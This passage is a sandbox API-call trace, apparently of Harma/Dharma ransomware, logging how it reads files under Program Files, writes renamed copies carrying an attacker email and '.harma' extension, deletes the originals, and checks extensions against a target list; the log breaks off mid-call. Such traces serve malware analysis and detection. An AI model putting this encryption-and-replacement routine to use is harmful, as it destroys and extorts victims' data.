(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 0x20 [0058.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0058.107] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0058.107] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.107] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.107] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0058.107] GetLastError () returned 0x0 [0058.107] ReadFile (in: hFile=0x204, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x6fb3, lpOverlapped=0x0) returned 1 [0058.109] WriteFile (in: hFile=0x170, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x6fc0, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x6fc0, lpOverlapped=0x0) returned 1 [0058.117] ReadFile (in: hFile=0x204, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.117] WriteFile (in: hFile=0x170, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.118] SetEndOfFile (hFile=0x170) returned 1 [0058.118] CloseHandle (hObject=0x170) returned 1 [0058.118] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.118] SetEndOfFile (hFile=0x204) returned 1 [0058.119] CloseHandle (hObject=0x204) returned 1 [0058.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0058.119] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 1 [0058.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0058.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0058.120] lstrlenW (lpString=".doc") returned 4 [0058.120] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0058.120] lstrlenW (lpString=".docx") returned 5 [0058.120] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0058.120] lstrlenW (lpString=".pdf") returned 4 [0058.120] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0058.120] lstrlenW (lpString=".xls") returned 4 [0058.120] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0058.120] lstrlenW (lpString=".xlsx") returned 5 [0058.120] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0058.120] lstrlenW (lpString=".ppt") returned 4 [0058.120] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0058.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0058.120] lstrlenW (lpString=".zip") returned 4 [0058.120] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0058.120] lstrlenW (lpString=".rar") returned 4 [0058.120] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0058.120] lstrlenW (lpString=".bz2") returned 4 [0058.120] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0058.120] lstrlenW (lpString=".7z") returned 3 [0058.120] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0058.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0058.120] lstrlenW (lpString=".dbf") returned 4 [0058.120] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0058.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0058.120] lstrlenW (lpString=".1cd") returned 4 [0058.120] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0058.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0058.120] lstrlenW (lpString=".jpg") returned 4 [0058.120] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0058.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0058.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0058.121] lstrlenW (lpString=".doc") returned 4 [0058.121] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0058.121] lstrlenW (lpString=".docx") returned 5 [0058.121] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0058.121] lstrlenW (lpString=".pdf") returned 4 [0058.121] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0058.121] lstrlenW (lpString=".xls") returned 4 [0058.121] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0058.121] lstrlenW (lpString=".xlsx") returned 5 [0058.121] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0058.121] lstrlenW (lpString=".ppt") returned 4 [0058.121] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0058.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0058.121] lstrlenW (lpString=".zip") returned 4 [0058.121] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0058.121] lstrlenW (lpString=".rar") returned 4 [0058.121] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0058.121] lstrlenW (lpString=".bz2") returned 4 [0058.121] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0058.121] lstrlenW (lpString=".7z") returned 3 [0058.121] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0058.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0058.121] lstrlenW (lpString=".dbf") returned 4 [0058.121] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0058.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0058.122] lstrlenW (lpString=".1cd") returned 4 [0058.122] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0058.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0058.122] lstrlenW (lpString=".jpg") returned 4 [0058.122] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0058.122] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0058.122] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0058.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0058.122] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=1354) returned 1 [0058.122] CloseHandle (hObject=0x204) returned 1 [0058.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 0x20 [0058.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0058.123] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0058.123] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.123] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.123] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0058.124] GetLastError () returned 0x0 [0058.124] ReadFile (in: hFile=0x204, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x54a, lpOverlapped=0x0) returned 1 [0058.126] WriteFile (in: hFile=0x170, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x550, lpOverlapped=0x0) returned 1 [0058.127] ReadFile (in: hFile=0x204, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.127] WriteFile (in: hFile=0x170, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xea, lpOverlapped=0x0) returned 1 [0058.127] SetEndOfFile (hFile=0x170) returned 1 [0058.127] CloseHandle (hObject=0x170) returned 1 [0058.127] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.127] SetEndOfFile (hFile=0x204) returned 1 [0058.128] CloseHandle (hObject=0x204) returned 1 [0058.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0058.129] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 1 [0058.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0058.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0058.129] lstrlenW (lpString=".doc") returned 4 [0058.129] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0058.129] lstrlenW (lpString=".docx") returned 5 [0058.129] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0058.129] lstrlenW (lpString=".pdf") returned 4 [0058.129] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0058.129] lstrlenW (lpString=".xls") returned 4 [0058.129] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0058.129] lstrlenW (lpString=".xlsx") returned 5 [0058.129] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0058.129] lstrlenW (lpString=".ppt") returned 4 [0058.129] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0058.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0058.129] lstrlenW (lpString=".zip") returned 4 [0058.129] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0058.129] lstrlenW (lpString=".rar") returned 4 [0058.129] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0058.129] lstrlenW (lpString=".bz2") returned 4 [0058.129] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0058.129] lstrlenW (lpString=".7z") returned 3 [0058.129] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0058.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0058.130] lstrlenW (lpString=".dbf") returned 4 [0058.130] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0058.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0058.130] lstrlenW (lpString=".1cd") returned 4 [0058.130] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0058.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0058.130] lstrlenW (lpString=".jpg") returned 4 [0058.130] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0058.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0058.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0058.130] lstrlenW (lpString=".doc") returned 4 [0058.130] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0058.130] lstrlenW (lpString=".docx") returned 5 [0058.130] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0058.130] lstrlenW (lpString=".pdf") returned 4 [0058.130] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0058.130] lstrlenW (lpString=".xls") returned 4 [0058.130] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0058.130] lstrlenW (lpString=".xlsx") returned 5 [0058.130] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0058.130] lstrlenW (lpString=".ppt") returned 4 [0058.130] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0058.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0058.130] lstrlenW (lpString=".zip") returned 4 [0058.131] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0058.131] lstrlenW (lpString=".rar") returned 4 [0058.131] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0058.131] lstrlenW (lpString=".bz2") returned 4 [0058.131] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0058.131] lstrlenW (lpString=".7z") returned 3 [0058.131] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0058.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0058.131] lstrlenW (lpString=".dbf") returned 4 [0058.131] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0058.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0058.131] lstrlenW (lpString=".1cd") returned 4 [0058.131] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0058.131] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0058.131] lstrlenW (lpString=".jpg") returned 4 [0058.131] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0058.131] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0058.131] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0058.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0058.132] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=32433) returned 1 [0058.132] CloseHandle (hObject=0x204) returned 1 [0058.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 0x20 [0058.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0058.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0058.132] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.132] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0058.133] GetLastError () returned 0x0 [0058.133] ReadFile (in: hFile=0x204, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x7eb1, lpOverlapped=0x0) returned 1 [0059.102] WriteFile (in: hFile=0x170, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x7ec0, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x7ec0, lpOverlapped=0x0) returned 1 [0059.105] ReadFile (in: hFile=0x204, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.105] WriteFile (in: hFile=0x170, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.105] SetEndOfFile (hFile=0x170) returned 1 [0059.105] CloseHandle (hObject=0x170) returned 1 [0059.105] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.105] SetEndOfFile (hFile=0x204) returned 1 [0059.107] CloseHandle (hObject=0x204) returned 1 [0059.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0059.107] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 1 [0059.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0059.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0059.108] lstrlenW (lpString=".doc") returned 4 [0059.108] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0059.108] lstrlenW (lpString=".docx") returned 5 [0059.108] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0059.108] lstrlenW (lpString=".pdf") returned 4 [0059.108] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0059.108] lstrlenW (lpString=".xls") returned 4 [0059.108] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0059.108] lstrlenW (lpString=".xlsx") returned 5 [0059.108] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0059.108] lstrlenW (lpString=".ppt") returned 4 [0059.108] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0059.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0059.108] lstrlenW (lpString=".zip") returned 4 [0059.108] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0059.108] lstrlenW (lpString=".rar") returned 4 [0059.108] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0059.108] lstrlenW (lpString=".bz2") returned 4 [0059.108] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0059.108] lstrlenW (lpString=".7z") returned 3 [0059.108] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0059.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0059.109] lstrlenW (lpString=".dbf") returned 4 [0059.109] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0059.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0059.109] lstrlenW (lpString=".1cd") returned 4 [0059.109] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0059.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0059.109] lstrlenW (lpString=".jpg") returned 4 [0059.109] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0059.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0059.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0059.109] lstrlenW (lpString=".doc") returned 4 [0059.109] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0059.109] lstrlenW (lpString=".docx") returned 5 [0059.109] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0059.109] lstrlenW (lpString=".pdf") returned 4 [0059.109] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0059.109] lstrlenW (lpString=".xls") returned 4 [0059.109] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0059.109] lstrlenW (lpString=".xlsx") returned 5 [0059.109] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0059.109] lstrlenW (lpString=".ppt") returned 4 [0059.109] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0059.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0059.110] lstrlenW (lpString=".zip") returned 4 [0059.110] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0059.110] lstrlenW (lpString=".rar") returned 4 [0059.110] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0059.110] lstrlenW (lpString=".bz2") returned 4 [0059.110] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0059.110] lstrlenW (lpString=".7z") returned 3 [0059.110] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0059.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0059.110] lstrlenW (lpString=".dbf") returned 4 [0059.110] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0059.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0059.110] lstrlenW (lpString=".1cd") returned 4 [0059.110] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0059.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0059.110] lstrlenW (lpString=".jpg") returned 4 [0059.110] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0059.110] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0059.110] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0059.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.333] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x238ff1c | out: 